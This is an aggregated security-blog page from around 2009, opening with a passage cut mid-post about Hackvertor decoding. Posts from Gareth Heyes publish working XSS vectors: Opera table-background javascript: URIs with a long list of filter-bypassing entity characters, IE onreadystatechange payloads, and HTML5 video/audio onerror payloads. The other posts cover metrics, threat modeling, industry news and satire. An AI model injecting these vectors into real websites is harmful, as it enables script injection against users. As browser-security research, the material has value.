The first part is just the name and number of the tag “replace_25″, the parenthesis indicate that it’s a Hackvertor parameter. In this case replace accepts “find this” as the first param and a second param which is the replace string. So we use “‘+r28+’” to find the blank variable and replace it with nothing. It works as a regular expression that’s why the + has been escaped.

Next we use the replace tag again to remove all instances of single quotes or semi-colons

Then we use the

tag to extract the two hex characters we require again this is a regular expression. This tag returns the matches as a comma separated list.

We use the comma separated hex values with our next tag

which loops through the commas and converts every hex sequence into decimal. The param tells the tag to use a regular expression to split the characters in this case it is commas.

is used to convert our now decimal sequence of characters into the actual characters from the character code number. This tag does not use params.

Finally I use

to find the urlencoded sequence, replace any unwanted characters with

which removes all single quotes.

simple urldecodes the sequence which returns our decoded string.

The final result is available here and the javascript never gets executed only decoded.

It turns out I was right. Originally I thought the protocols reported by my javascript fuzzer were false positives but as like lots of my code it seems to know better than me I tested the context of the vectors in a normal HTML link which didn’t work correctly. But I was messing with some XSS in Hackvertor today with the latest copy of Opera and I found they worked.

Surprisingly Opera still supports the table background vector and combining my protocol discoveries you can create some cool additional vectors. The table background vector looks like this:-

<table background=javascript:alert(1)>

Now we can combine it with some of the unicode characters that work after the javascript string and before the colon:-

<table background=javascript&#14848:alert(1)>

The characters can be repeated many times like this:-

<table background=javascript&#14848&#14848&#14848&#14848&#14848:alert(1)>

Lots of other characters seem to be affected, I’ve randomly tested a few like 11520 but I haven’t verified them all. Here are a list of the characters:-

Char:9,Link:javascript&#9:
Char:10,Link:javascript&#10:
Char:13,Link:javascript&#13:
Char:58,Link:javascript&#58:
Char:2048,Link:javascript&#2048:
Char:2304,Link:javascript&#2304:
Char:3840,Link:javascript&#3840:
Char:4096,Link:javascript&#4096:
Char:4256,Link:javascript&#4256:
Char:4352,Link:javascript&#4352:
Char:4608,Link:javascript&#4608:
Char:4864,Link:javascript&#4864:
Char:5120,Link:javascript&#5120:
Char:5376,Link:javascript&#5376:
Char:5632,Link:javascript&#5632:
Char:5888,Link:javascript&#5888:
Char:6400,Link:javascript&#6400:
Char:6656,Link:javascript&#6656:
Char:7424,Link:javascript&#7424:
Char:7936,Link:javascript&#7936:
Char:7944,Link:javascript&#7944:
Char:11520,Link:javascript&#11520:
Char:12544,Link:javascript&#12544:
Char:13312,Link:javascript&#13312:
Char:13568,Link:javascript&#13568:
Char:13824,Link:javascript&#13824:
Char:14080,Link:javascript&#14080:
Char:14336,Link:javascript&#14336:
Char:14592,Link:javascript&#14592:
Char:14848,Link:javascript&#14848:
Char:15104,Link:javascript&#15104:
Char:15360,Link:javascript&#15360:
Char:15616,Link:javascript&#15616:
Char:15872,Link:javascript&#15872:
Char:16128,Link:javascript&#16128:
Char:16384,Link:javascript&#16384:
Char:16640,Link:javascript&#16640:
Char:16896,Link:javascript&#16896:
Char:17152,Link:javascript&#17152:
Char:17408,Link:javascript&#17408:
Char:17664,Link:javascript&#17664:
Char:17920,Link:javascript&#17920:
Char:18176,Link:javascript&#18176:
Char:18432,Link:javascript&#18432:
Char:18688,Link:javascript&#18688:
Char:18944,Link:javascript&#18944:
Char:19200,Link:javascript&#19200:
Char:19456,Link:javascript&#19456:
Char:19712,Link:javascript&#19712:
Char:19968,Link:javascript&#19968:
Char:20224,Link:javascript&#20224:
Char:20480,Link:javascript&#20480:
Char:20736,Link:javascript&#20736:
Char:20992,Link:javascript&#20992:
Char:21248,Link:javascript&#21248:
Char:21504,Link:javascript&#21504:
Char:21760,Link:javascript&#21760:
Char:22016,Link:javascript&#22016:
Char:22272,Link:javascript&#22272:
Char:22528,Link:javascript&#22528:
Char:22784,Link:javascript&#22784:
Char:23040,Link:javascript&#23040:
Char:23296,Link:javascript&#23296:
Char:23552,Link:javascript&#23552:
Char:23808,Link:javascript&#23808:
Char:24064,Link:javascript&#24064:
Char:24320,Link:javascript&#24320:
Char:24576,Link:javascript&#24576:
Char:24832,Link:javascript&#24832:
Char:25088,Link:javascript&#25088:
Char:25344,Link:javascript&#25344:
Char:25600,Link:javascript&#25600:
Char:25856,Link:javascript&#25856:
Char:26112,Link:javascript&#26112:
Char:26368,Link:javascript&#26368:
Char:26624,Link:javascript&#26624:
Char:26880,Link:javascript&#26880:
Char:27136,Link:javascript&#27136:
Char:27392,Link:javascript&#27392:
Char:27648,Link:javascript&#27648:
Char:27904,Link:javascript&#27904:
Char:28160,Link:javascript&#28160:
Char:28416,Link:javascript&#28416:
Char:28672,Link:javascript&#28672:
Char:28928,Link:javascript&#28928:
Char:29184,Link:javascript&#29184:
Char:29440,Link:javascript&#29440:
Char:29696,Link:javascript&#29696:
Char:29952,Link:javascript&#29952:
Char:30208,Link:javascript&#30208:
Char:30464,Link:javascript&#30464:
Char:30720,Link:javascript&#30720:
Char:30976,Link:javascript&#30976:
Char:31232,Link:javascript&#31232:
Char:31488,Link:javascript&#31488:
Char:31744,Link:javascript&#31744:
Char:32000,Link:javascript&#32000:
Char:32256,Link:javascript&#32256:
Char:32512,Link:javascript&#32512:
Char:32768,Link:javascript&#32768:
Char:33024,Link:javascript&#33024:
Char:33280,Link:javascript&#33280:
Char:33536,Link:javascript&#33536:
Char:33792,Link:javascript&#33792:
Char:34048,Link:javascript&#34048:
Char:34304,Link:javascript&#34304:
Char:34560,Link:javascript&#34560:
Char:34816,Link:javascript&#34816:
Char:35072,Link:javascript&#35072:
Char:35328,Link:javascript&#35328:
Char:35584,Link:javascript&#35584:
Char:35840,Link:javascript&#35840:
Char:36096,Link:javascript&#36096:
Char:36352,Link:javascript&#36352:
Char:36608,Link:javascript&#36608:
Char:36864,Link:javascript&#36864:
Char:37120,Link:javascript&#37120:
Char:37376,Link:javascript&#37376:
Char:37632,Link:javascript&#37632:
Char:37888,Link:javascript&#37888:
Char:38144,Link:javascript&#38144:
Char:38400,Link:javascript&#38400:
Char:38656,Link:javascript&#38656:
Char:38912,Link:javascript&#38912:
Char:39168,Link:javascript&#39168:
Char:39424,Link:javascript&#39424:
Char:39680,Link:javascript&#39680:
Char:39936,Link:javascript&#39936:
Char:40192,Link:javascript&#40192:
Char:40448,Link:javascript&#40448:
Char:40704,Link:javascript&#40704:
Char:40960,Link:javascript&#40960:
Char:41216,Link:javascript&#41216:
Char:41472,Link:javascript&#41472:
Char:41728,Link:javascript&#41728:
Char:41984,Link:javascript&#41984:
Char:43008,Link:javascript&#43008:
Char:44032,Link:javascript&#44032:
Char:44288,Link:javascript&#44288:
Char:44544,Link:javascript&#44544:
Char:44800,Link:javascript&#44800:
Char:45056,Link:javascript&#45056:
Char:45312,Link:javascript&#45312:
Char:45568,Link:javascript&#45568:
Char:45824,Link:javascript&#45824:
Char:46080,Link:javascript&#46080:
Char:46336,Link:javascript&#46336:
Char:46592,Link:javascript&#46592:
Char:46848,Link:javascript&#46848:
Char:47104,Link:javascript&#47104:
Char:47360,Link:javascript&#47360:
Char:47616,Link:javascript&#47616:
Char:47872,Link:javascript&#47872:
Char:48128,Link:javascript&#48128:
Char:48384,Link:javascript&#48384:
Char:48640,Link:javascript&#48640:
Char:48896,Link:javascript&#48896:
Char:49152,Link:javascript&#49152:
Char:49408,Link:javascript&#49408:
Char:49664,Link:javascript&#49664:
Char:49920,Link:javascript&#49920:
Char:50176,Link:javascript&#50176:
Char:50432,Link:javascript&#50432:
Char:50688,Link:javascript&#50688:
Char:50944,Link:javascript&#50944:
Char:51200,Link:javascript&#51200:
Char:51456,Link:javascript&#51456:
Char:51712,Link:javascript&#51712:
Char:51968,Link:javascript&#51968:
Char:52224,Link:javascript&#52224:
Char:52480,Link:javascript&#52480:
Char:52736,Link:javascript&#52736:
Char:52992,Link:javascript&#52992:
Char:53248,Link:javascript&#53248:
Char:53504,Link:javascript&#53504:
Char:53760,Link:javascript&#53760:
Char:54016,Link:javascript&#54016:
Char:54272,Link:javascript&#54272:
Char:54528,Link:javascript&#54528:
Char:54784,Link:javascript&#54784:
Char:55040,Link:javascript&#55040:

Michael Howard's Web Log

A Conversation About Threat Modeling

Posted: May 1st, 2009, 9:29am CDT by michael_HOWARD

Tags: Security [edit]

This was fun to write; in fact, other than minor edits I wrote it in a single two hour sitting with my laptop by the pool :)

[msdn.microsoft.com]

ha.ckers.org web application security lab

Silver Bullet Metric

Posted: April 24th, 2009, 12:15pm CDT by RSnake

Tags: Random Security [edit]

No, I don’t believe there is a silver bullet. But, I came up with an interesting thought exercise while I was at RSAcon that I like to call the silver bullet metric. I asked a number of notable security experts, vendors and analysis and everyone had almost the same reaction, which is that this is worth thinking about, but a hugely complex task to complete. So I thought I’d throw it out there and let the community think about it too. Let’s take a theoretical situation where we looked at any single security vendor out there and give them essentially as much money as they needed to do a complete global deployment of one of their security products. So if it was an anti-virus vendor, you’d give them enough to put AV on every desktop. If it were a firewall, it would be at every endpoint, and so on. Now, the metric is a combination of two scores a) how much is the total cost of ownership and b) what percentage of global online fraud has it decreased. Let’s take a few examples.

If you put Anti-virus on every desktop in the world, would you stop viruses from existing? I think any reasonable person who understands how viruses work would say no. It will, however, make the bad guys work harder and iterate faster to get by the filters (boutique malware). So there is actually a diminishing return once you get above a certain level of deployment. On the other hand, at the very lowest end, if only a few people had anti-virus they would be pretty well protected, because the virus authors wouldn’t bother trying to figure out a way around it. Of course everyone else who doesn’t have the AV is screwed in that scenario. So the right percentage of deployment for anti-virus isn’t global, it somewhere in the middle in that simple example.

If we’re talking about firewalls doing proper egress filtering, that would stop some worms from propagating, but it probably wouldn’t solve enough of the problems compared to the other options out there. If we’re talking about whitelisting applications that can run on computers, that would probably solve a much bigger percentage of the problems compared to firewalls, but the total cost of ownership is through the roof - and who is going to monitor and create all those whitelists. Eesh!

But back to AV for a second - AV has the hidden benefit outside of security that theoretically increases longevity of computers. So AV increases the lifetime of the computer, although the decrease in usability of the computer because of the resources that are being used might offset that number. Anyway, all of that factors into the total cost of ownership. Once we go through that exercise (which is probably best left for the product managers of each product line to do) you come up with a few interesting metrics. The first is the silver bullet metric, and the second is exactly what the maximum level of deployment that product or service should get to before it stops being an effective tool for the money - because TCO might change depending on how widely it is deployed as well (economies of scale, diminishing returns, etc…).

I’m not at all saying I have the right answer, or that I do believe there is a single best product out there, but to be the devil’s advocate, what if we did find that one product or service had the best silver bullet metric - what then? Why would we back any other technologies at that point? Anyway, it’s a fun thing to think about. Perhaps it’s just another lens by which to look at the security industry through. Of course this exercise has it’s evil twin too - which is the types of exploits that can be performed and their own associated cost benefit analysis.

Disenchant's Blog

Swiss Cyber Storm II

Posted: April 22nd, 2009, 4:56am CDT by Disenchant

Tags: Security [edit]

The last weekend, I was in Rapperswil (Switzerland) for a quiet special event. There, the “Swiss Cyber Storm II” took place, organized by Compass Security. The SCSII is a hacking wargame contest, where hackers, IT security specialists, computer scientists etc. try to solve security related tasks and get points for them. For example there was a crypto attack on Lsrunase.exe, JavaScript Malware analysis, ORACLE DB hacking, DECT sniffing and much more. It was a two day event but the second day wasn’t as productive as on the first. Anyway, I was quiet successful At the end of the first day, I was on the 1. rank from about 150 people participating. On the 2. and 3. ranks was a team (CrypTom and allotria) so I decided to also form a team for the second day and my team-partner was Baboo, who’s also a student at the Bern University of Applied Sciences. At the end we made the 2. rank which I would say is a really good result

Thanks a lot at this point to Compass Security for the great event.

Here you’ll see the final ranking:

PS: Baboo and me had to create a new user called Disenchant_and_Baboo for the second day. As you can see, my user of the first day (Disenchant) is at the end of the second day still on rank 11

Justice League

Software Security 2008

Posted: April 16th, 2009, 8:30am CDT by gem

Tags: Software Security [edit]
For the past three years, I have collected and published revenue numbers from tools and services in the software security space. Here are pointers to the three resulting articles, including this year’s NEW article (for 2008):
- informIT (2008): Software Security Comes of Age: Space approaches $500M threshold
- informIT (2007): Software Security Demand Rising
- Darkreading (2006): Want Turns to Need
Before some observations, here is a pretty picture showing growth over time, divided among tools, services, and pizza boxes. Cigital remains the largest independent software security services company. For more details, see my informIT report.

Probably the most important development in 2008 is that the space as a whole is nearing a very important $500M threshold. At this level of business activity, the technology analysts start to take a big interest. This creates a feedback loop of sorts as the middle market engages. Some evidence of this effect:
- Gartner analyst Joseph Fieman published the FIRST Gartner magic quadrant for the tools part of the software security space this year.
- Chenxi Wang from Forrester published a Q4 report on the future of software security (registration supposedly required)
Other analysts of note include:
- Ramon Krikken from Burton Group
- Charles Kolodgy from IDC
- Nigel Stanley from Bloor Research
I will continue to track growth and development of software security over time, but I am very pleased that the analysts are pitching in. As software security matures and the middle market emerges, we will start to have an important impact on the rest of computer security.

The Spanner

Overwriting native functions in javascript

Posted: April 8th, 2009, 5:05am CDT by Gareth Heyes

Tags: Security [edit]
I research a lot of Javascript as part of my job and I’ve been toying with the idea of a perfect native function overwrite. The idea is that you can still call the native function and have control over it but once it’s been defined it cannot be modified only destroyed.

My idea was to redefine the alert function and to remove it once it reaches a certain limit, in order to avoid infinite prompts. I think I’ve been successful but I’m sure someone will point out if I haven’t. It works by storing the native function in a closure and holds the reference within it’s parent. The child function is then returned with two private variables the native function call and a counter. Because they are private variables they shouldn’t be available in the global scope and so only the parent of the the child function should have access to them.

This code is based on the assumption that it is run first before any other Javascript, so you can modify it after it’s been executed but you should no longer have access to it’s native code.
```
window.alert = function(native) {
 var counter = 0;
 return function(str) {    
    native(str);
    if(counter > 10) {
      window.alert = null;
    }
    counter++;
 }
}(window.alert);
```
onreadystatechange

Posted: April 8th, 2009, 3:42am CDT by Gareth Heyes

Tags: Security [edit]
I like this event, it’s pretty cool. The reason why it’s interesting from a XSS perspective is that it is executed automatically without user interaction. This is rare in the XSS playground, usually you have to use onerror, onload or onfocus events and they only work in certain circumstances.

I’d better mention that the event is only relevant to Internet Explorer as far as I’m aware. If you know of any other browsers it works in then please leave a comment.

So which tags does it execute in? Well more than you first think. At first I could only get it to execute automatically with the iframe, script and style tags. But actually the img, image, input, isindex, iframe, script, style, xml and object tags all execute without user interaction.

Here are a list of vectors I found, notice the XML tag requires some content in order to execute, this can be accomplished without a closing tag or just some text. The object tag requires the type=image attribute. IMG, IMAGE, ISINDEX, INPUT all require a valid image loaded with the src attribute.
```
<script onreadystatechange=alert(1)>
<iframe onreadystatechange=alert(1)>
<style onreadystatechange=alert(1)>
<script onreadystatechange=alert(1)></script>
<iframe onreadystatechange=alert(1)></iframe>
<style onreadystatechange=alert(1)></style>
<xml onreadystatechange=alert(1)>
<xml onreadystatechange=alert(1)>test</xml>
<object type=image src=http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif onreadystatechange=alert(1)></object>
<img type=image src=http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif onreadystatechange=alert(1)>
<image type=image src=http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif onreadystatechange=alert(1)>
<input type=image src=http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif onreadystatechange=alert(1)>
<isindex type=image src=http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif onreadystatechange=alert(1)>
```
Cross browser javascript sandbox

Posted: April 3rd, 2009, 9:56am CDT by Gareth Heyes

Tags: Security [edit]

I think I’ve managed to create a good sandboxing system using same origin policy. The only downside is that it uses new windows to prevent top.location assignments. It works by injecting code into another domain (sandbox.businessinfo.co.uk) and executing the code in the context of that domain and returning the result of the code in the location.hash and returning it to the original domain.

As SOP is used the sandbox shouldn’t be able to be bypassed without a browser exploit, sure you could change the window reference but the result would always be a string. The domain sandbox.businessinfo.co.uk is vulnerable though as it allows you to execute code, maybe using referrer checking this could be minimized which I may add in future.

So the question is can you beat it? By injecting code in the sandbox that will control the parent. For example it was vulnerable to modifying the parent location by passing “top.location=1″ this has now been closed.
Update…
I found and fixed an exploit myself. Using opener.location=1, it was possible to control the parent location. I’ve closed this by removing the opener from the sandbox.

Demo here

Dominic White's .tHE pRODUCT

Conficker Claims its First Human

Posted: April 1st, 2009, 2:02am CDT

Tags: Security [edit]

Conficker has claimed it's first victim, this time a live one. Conficker, a computer virus that security researchers have warned will do severe damage to computing systems from April 1st, has claimed millions of computer victims to date. However, Harry Hermulen's computer was luckier than he was.
Mr Hermulen, fearing a computerised Armageddon would occur on April 1st due to Conficker, barricaded himself in his log cabin outside the small town of Pofadder in South Africa last week. After missing the town's weekly "sokkie", a type of traditional Afrikaans dance, town members went to visit Harry. One witness described what they found as "horrifying". "We knocked on the door, but Harry didn't answer, a jean-pant were drying outside, but Harry only had one pair, so we knew he was inside." said Maggie van Schoonstad. "We opened the door and found yellow, red and blue devil's signs on all the walls," continued Maggie These were later confirmed as the logos of well known Anti-Virus vendors. "We found him dead in front of his computer, his face was all blue from the screen."

Later analysis confirmed Mr Hermulen had starved to death. Computer experts determined that while waiting for his Vista computer to boot, then clicking through the thousands of 'Allow' dialogs presented to him by the multiple Anti-Virus products installed, Mr Hermulen had not had time to eat. "His finger was full of blood and stuck to his mouse." said Frikkie Steyn a close hunting friend of Harry.

When asked for comment, Norton Symanteck, a spokesperson for Fckng-Secure Anti-Virus said, "What happened to Mr. Hermulen is a tragedy, BUT YOU'RE ALL GOING TO DIE UNLESS YOU BUY ANTI-VIRUS." Oh the humanity.

Happy April First.

Justice League

Maturity Models vs. Top 10 Lists

Posted: March 30th, 2009, 9:12am CDT by jOHN

Tags: Software Security [edit]
A few back, I wrote about Maturity Models vs. ASVS. On SC-L, a ‘discussion’ broke out regarding Maturity Models (MM) vs. Top N lists. Like ASVS, Top 10 lists target a different problem than MMs. In particular, the discussion focused around how one should enhance their assessment practices.

I’ve edited and reproduced my SC-L post here for those of you who don’t read the list. My objective? provide specifics on what one can do to enhance assessment practices. I provide a commentary on the on-going discussion throughout. The central theme of my approach?

security vulnerabilities don’t count unless they affect development

Now the approach:

Integrate Assessment Practices

[What?]
Wrap the assessment activities (both tool-based and manual techniques) in a process that:
- Normalizes findings under a common reporting vocabulary and demonstrates impact
- Include SAST, DAST, scanning, manual, out-sourced, & ALL findings producers in this framework
- Anchors findings in either a developmental root cause or other software artifact:
- Use Case, reqs, design, spec, etc.
- Builds adaptors so that bugs are automatically entered in tracking systems
- Adaptors should include both tool-based and manual findings
- Calculates impact with an agreed-upon mechanism that rates security risk with other factors:
- Functional release criteria
- Other non-security non-functional requirements
[Realistic?]
I believe so. Cigital’s more junior consultants work on these very tasks, and they don’t require an early-adopter to fund or agree to them. There’s plenty of tooling out there to help with the adapters and plenty of presentations/papers on risk (www.riskanalys.is), normalizing findings (cwe.mitre.org/) , and assessment methodology (www.cigital.com/papers/download/j15bsi.pdf).

[Panacea?]
No. I’ve done research and consulting in functional testing. If you think security is powerless against development, try spending a few years in a tester’s shoes! Functionality may be king for development and PMs, but I’ve found that functional testing has little to no power. While a lack of features may prevent software from going out the door, very rarely do I find that functional testing can implement an effective “go/no-go” gate from their seat in the org. That’s why testing efforts seek muscle from their friend Security (and its distant cousins under quality “Load and Performance”) to stop releases from going out the door.

There’s no reason NOT to integrate with testing efforts, reporting, and groups: we should. There’s every reason security should adhere to the same interface everyone else does with developers (let them produce code and let them consume bugs)… I think the steps I outlined under ‘what’ bring us closer. I don’t think we need to (or can expect to) flip organizational precedent and behavior on its head to make progress.

[Steering]
The above scenario doesn’t allow explicitly for two key input/outputs from the software security ecosystem:
1. Handling ultra-high-priority issues in real time
2. Adjusting and evolving to changing threat landscapes
Establish a Steering Committee

[What?]
Establish a steering committee on which a software security, dev, architecture, operations, and corporate risk sit. These folk should manage the risk-model, scoring, security standards that drive the assessment verification standard, and the definition of both short-term and longer-term mitigating strategies. I’d argue that you’d like Industry representation too. That organization could come in written form (like the Top N lists) or in the form of consulting or a panel.

When incidents or firefights come into play, absolutely allow them to be handled out of band (albeit through a documented process), but! Not until they’ve been rated with the agreed-upon model.

[Realistic?]
Yes. I have several clients that use this structure. I speak with non-clients that do the same. Data gathering for scoring and prioritization is easy if you’ve done the steps in the previous section. The operations guys help you grade the pertinence of your efforts to what they’re seeing ‘in the wild’ too.

[Panacea?]
Does a steering committee help you respond with agility to a high-priority threat in real time? Not explicitly. But, it does help if your organizational stakeholders already have a working relationship and a mutual respect. Also: I think one root cause of the underlying discomfort (or dislike) with people’s perspectives on this thread has been:

“OK… you don’t like Top N lists… So what do you do?”

In my mind… The above answers that question.

[Assessment and Tools]
Do I believe that the normalized findings will emerge only from static analysis (or any other kind of vulnerability detection tool)? Absolutely not. People who follow my writings know I expect dramatic (ally high and low) numbers to be associated with tools.

Let’s summarize my data. Organizations can expect:
1. Static analysis tools to account for 15-20% of their total findings, out of the box
2. An initial false positive rate as high as 75-99% from a static analysis tool, without tuning
3. Less than 09% code coverage (by even shallow coverage metrics) from pen-testing tools
Qualitatively, I can tell you that I expect an overwhelming majority of static analysis results produced in an organization to come from customization of their adopted product.

Simply: if you base your world view on only those things a tool (any tool) produces, you’re world view is too narrow and will prove ineffective. The same is true of those who narrow their scope to the OWASP Top-10 or the SANS Top 25.

[Top N Redux]
Some have left the impression that starting with a Top N list is of no use. Please don’t think I’m in this camp. In my last two public presentations I’ve indicated, “If you’re starting from scratch these lists (or lists intrinsically baked into a tool’s capabilities for detection) are a great place to start.” Yes, one of these presentations was entitled “Why Top N lists are bad” ;-) Also:

If you can’t afford frequent industry interaction-use Top N lists as a proxy for it. They’re valuable, but like anything, only to a point.

For me, this discussion will remain circular until we think about it in terms of measured, iterative organizational improvement. Why? Because when an organization focuses on getting beyond a “Top N” list it will just create their own organization-specific “Top N” list :-) If they’re smart though, they’ll call it a dash board and vie for a promotion ;-)

From the other side? People building Top N lists know they’re not a panacea, but also know that a lot of organizations simply can’t stomach the kind of emotional investment that BSIMM (and the ilk) come with.

This leaves me with the following:

[Conclusions]
1. Top N lists are neither necessary nor sufficient for organization success
2. Top N lists are necessary but not sufficient for industry success
3. Maturity models are neither necessary nor sufficient for organizational success
4. Maturity models are necessary but not sufficient for industry success
5. Always avail yourself of what the industry produces;
6. Never confine yourself to a single industry artifact dogmatically;
7. Whatever you consume from industry, improve it by making it your own; and
8. Where-ever you are in your journey, continue to improve iteratively.
[Related Perennial Rabbit Holes] (bonus)
- Bugs vs. Flaws: John Steven’06 – www.mail-archive.com/sc-l@securecoding.org/msg00888.html
- Security Vs. Quality: Cowan ‘02 – www.securityfocus.com/archive/98/304766

The Spanner

XSS Rays

Posted: March 25th, 2009, 3:53am CDT by Gareth Heyes

Tags: Security [edit]
I’ve developed a new XSS scanner tool that’s written in Javascript called XSS Rays for Microsoft. They have given me permission to release the tool as open source which is awesome because it can be used for other open source applications. I recommend you use it as part of the web development process to make sure you’ve filtered XSS correctly on your application.

It works as a bookmarklet and scans any links, paths or forms on the target scanning page (even cross domain). You can add vectors to it quite easily and it includes some of the most common injections I’ve found on sites over the years. I’ve tested it on IE7/IE8 and Firefox but it could work in other browsers.

The advantage of the bookmarklet is that vectors can be customised for each browser and they are executed in the context of the browser, in IE8 standards mode were css expressions are disabled in IE8 the vector won’t be executed for example.

Hopefully there should be no false positives either because each vector is actually executed and it reported back as successful, in fact if there is a false positive it will be a bug in my code (lets hope not).
Technical details
The code works by creating connections to the target links/paths using iframes, each iframe is assign a name which is the url to return to on successful execution (the originating url). This allows cross domain links to be checked.

The vectors are stored in a simple object, each vector has the following properties:- input, name, browser, form, url, path (there’s a optional second input). Input is the XSS vector, the string “XSS” is used to replace with a logger or a poc url and is required by all vectors.

Name is just a meaningful name applied to the vector, browser supports ALL|FF|IE and helps to save time when testing specific browser vectors as XSS Rays will only target those versions for the vector.

Form, url, path allows you to disable the vector for scanning forms etc, supports TRUE|FALSE.

There are a few configuration properties supported:-
1. externalLog - Sends all executions to a external logger by default “http://127.0.0.1/XSS_Rays/logging/xss_logger.php”, the vector is encoded and sent to a get variable xss and can be easily customised to log in another language, each field is sent tab separated.
2. excludeURLS - allows you to exclude certain urls from the scan, the variable is a regular expression so remember to double escape special characters.
3. sameorigin - When enabled it should stay to the same site and not scan external links, this has not be tested fully yet.

There’s a interesting little hack for IE to enable the onload event of a dynamic iframe, I use the following code to create a specific IE loader:-
```
var ieLoader = "document.getElementById('"+'ray'+self.uniqueID+"').ieonload()";                                                                                                
        if(self.isIE()) {
                try {
                  var iframe = document.createElement('<iframe name="'+location + '#xss'+'" onload="'+ieLoader+'">');
                } catch (e) {                                                 
                   var iframe = document.createElement('iframe');
                }
        } else {
           var iframe = document.createElement('iframe');
}
```
Download & Instructions
Download here

1. You need to install a local web server like xampp:-
http://www.apachefriends.org/en/xampp.html
2. Once installed copy the XSS_Rays directory to your web server root xampp root is :- C:xampphtdocs
3. Open the bookmarklet.html file in the helpers directory of XSS_Rays. Drag to your bookmarks toolbar on Firefox or on IE right click the link and click add to favorites (You might get a security warning in IE).
4. Find your web site that you wish to scan, click your bookmarklet. Then press CTRL+SHIFT+X which will now run XSS Rays on the target site.
Thanks
Big thanks to David Ross, Manuel Caballero and you (you know who you are) for testing and feedback. Thanks to Microsoft for supporting the development of XSS Rays.
Updates….
The latest version of XSS Rays is now online (0.5.0), it contains some speed improvements and bug fixes.

1. Fixed conflicts with form elements with the name action or submit was causing form posts not to be submitted. Thanks Mike W
2. Removed unneeded cleanup code now the IE onload works.
3. Added the ability to exclude certain field types and names from being XSS’d.
4. Fixed name vector to specify window.name which was causing conflicts with image elements.
5. Fixed and checked same origin code. Thanks to Arshan who gave me a kick up the backside
6. Removed keyboard shortcut and added a button instead.
New update 0.5.5
1. Fixed Firefox bug with same origin
2. Fixed form Post to allow field names with submit. Thanks Kuza55 for the awesome form post hack

Michael Howard's Web Log

Ken Johnson (Skywing) joins Microsoft

Posted: March 24th, 2009, 5:27pm CDT by michael_HOWARD

Tags: Security [edit]

Following close on the heels of security experts Matt Miller, Adam Shostack and Crispin Cowan joining Microsoft, I am pleased to announce that Ken Johnson, AKA Skywing, has joined our group.

Ken brings an enormous amount of reverse engineering and defense-subversion skill to Microsoft. Ken will be working on anything and everything related vulnerabilities, exploits, defenses, bypassing defenses and more. Ken also maintains a blog on debugging, reverse engineering, and security-related topics (along with various personal projects) at: http://www.nynaeve.net.

Welcome, Ken!

Dominic White's .tHE pRODUCT

Department of Home Affairs Snooping Tools

Posted: March 24th, 2009, 9:37am CDT

Tags: Security [edit]
Thanks to the Department of Home Affairs, it is now possibly to get a bit more creepy. If you know someone's ID number (not a hard task) you can now find out if they are dead/alive, in the process of obtaining a new ID book or married (and when).
While these would make a great addition to Maltego as new transforms, given how poorly protected our ID numbers are, I'm reluctant for the DHA to be making this info available. While this information certainly isn't a deep invasion of privacy, I am worried about them expanding the service. Additionally, the existence of these services implies that there is a DB full of juicy ID data connected to the internet, and I'm not sure they've secured it very well.

BindShell.Net

InfoSec World 2009 - Browser Security

Posted: March 24th, 2009, 3:07am CDT

Tags: Security [edit]

Interested in Browser Security? Josh Abraham has published his InfoSec World presentation - Total Browser Pwnag3. Update: The Demos are available here.

The Spanner

HTML5 XSS

Posted: March 20th, 2009, 4:47pm CDT by Gareth Heyes

Tags: Security [edit]
I did a couple of vectors for PHPIDS recently and I was experimenting with Firefox 3.1 beta and the new HTML5 tags. I found the audio and video tags could be used for XSS, I’m sure there are others too. The vectors are quite cool because they’re executed automatically within a ~~onload~~ onerror event. (Originally the onload event worked with a invalid video)

Here are the vectors simplfied:-
```
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
```
Check out the phpids group on sla.ckers if you want to see the wacky versions which bypass the filtering. I use setTimeout and some js tricks to beat it.

Justice League

Marketing Will Kill Federated Identity on the Web

Posted: March 18th, 2009, 10:18am CDT by scott

Tags: federated identity Cloud Software Security [edit]

Warning: a fair amount of cynicism occurs in this post.

Some of my buddies have been exchanging ideas of what keeps us interested and one friend was thinking about how he could use a user’s Facebook login on his site. This nudge along with some work I’m doing with federated identity and Amazon SSO all have brought this federated identity stuff onto the foreground thread in my brain.

It’s all very interesting stuff and I think there’s some great technology behind all of this. I’m not worried about the technology part. It’s whether the technology can ever get implemented that worries me.

Why? Well on the internet audience and the audience demographics are the currency of the realm. If there’s federated identity, then providing all of my identity information to the relying part is redundant. There’s no way marketing is going to let THEIR site be the relying party. Marketing will want THEIR site to be the IdP. That’s because they want the users to sign up and provide all of the contact and demographic information since that’s the only business model that has been proven to work last time I checked.

I can imagine a conversation going like this:

Me: We should implement federated identity so our users don’t have to log in a gazillion times.
Marketing: Good idea.
Me: Whose identity should we use? LiveID? Amazon?
Marketing: Huh? What do you mean? Ours of course. We need the user to sign up to give us their email address.
Me: Well, we can get that. It’s part of the claim that we’ll get as part of SAML.
Marketing: Sam who? When does the user give us his email?
Me: They don’t give us the email directly. They give it to the identity provider and then…
Marketing: No, no, no, no (just like your mom used to do) – this doesn’t sound like a good idea…

So maybe all we really need is an identity selector and we’ll be the digital equivalents of the janitor with the massive key ring on our belts.

Technorati Tags: federated identity, cloud

Dominic White's .tHE pRODUCT

SA AV Vendor Recycling News for FUD Marketing

Posted: March 17th, 2009, 6:04am CDT

Tags: Security [edit]

ClassicFM just phoned me for comment on this story. I did some quick research and was rather dismayed to find that this appears to be an attempt to drum up some press references for marketing rather than a responsible informing of the public.

Update: ClassicFM has put up the story with a soundbite.

It was referencing X97M/TrojanDropper.Agent.NAI.trojan (the vendor in question isn't McAfee, they just had a good writeup) which exploited an unpatched vulnerability (CVE-2008-0081 to be specific) in early 2008, but was patched by Microsoft in October 2008. So, by now the patch is likely deployed to even your mother's machine in the cupboard, and AV vendors have got several copies of the signature deployed. In addition, the specific trojan was used in targeted attacks and it is highly likely that no person or company in SA will ever see a copy, even if they did, the generic advice of 'be suspicious of .xls files' is fairly useless.

To add insult to injury, the AV vendor seems to have received orders from their head office as their international office engaged in the same FUD last month.

This appears to be fairly blatant scaremongering in order to get their name in the papers, the sort that harm the whole industry and makes people unable to differentiate between real threats with real actions they can take. There may be a good explanation, and if the vendor in question wants to clear things up I'll publish it here, although having not mentioned their name I doubt they'll see it. In the meantime, I recommend journos blacklist them as a source.

